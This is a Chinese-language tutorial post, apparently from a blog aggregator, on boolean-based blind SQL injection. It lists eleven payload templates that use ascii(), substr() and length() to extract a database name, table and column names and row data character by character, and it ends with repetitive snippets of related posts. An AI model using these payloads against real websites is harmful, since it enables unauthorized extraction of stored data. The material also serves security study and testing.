SQL注入盲注01

2021-10-04 13:46:33 字數 1489 閱讀 8510

在頁面中,如果正確執行了sql語句,則返回一種頁面,如果sql語句執行錯誤,則執行另一種頁面。基於兩種頁面,來判斷sql語句正確與否,達到獲取資料的目的。

網上的payload一般是利用ascii()、substr()、length()結合進行利用。

1.獲取資料庫長度

and (select length(database()))=資料庫名字長度
2.逐字猜解資料庫名

and (select ascii(substr(database(),位數,1)))=ascii碼
3.猜解表名數量

and (select count(table_name) from information_schema.tables where table_schema=database())=數量
4.猜解某個表長度

and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度
5.逐位猜解表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii碼
6.猜解列名數量

and (select count(column_name) from information_schema.columns where table_schema = database() and table_name = 表名)=數量
7.猜解某個列長度

and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=長度
8.逐位猜解列名

and (select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii碼
9.判斷資料的數量

and (select count(列名) from 表名)=數量
10.猜解某條資料的長度

and (select length(列名) from 資料庫名.表名 limit n,1)=長度
11.逐位猜解資料

and (select ascii(substr(user,位數,1)) from 資料庫名.表名 limit n,1)=ascii碼

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...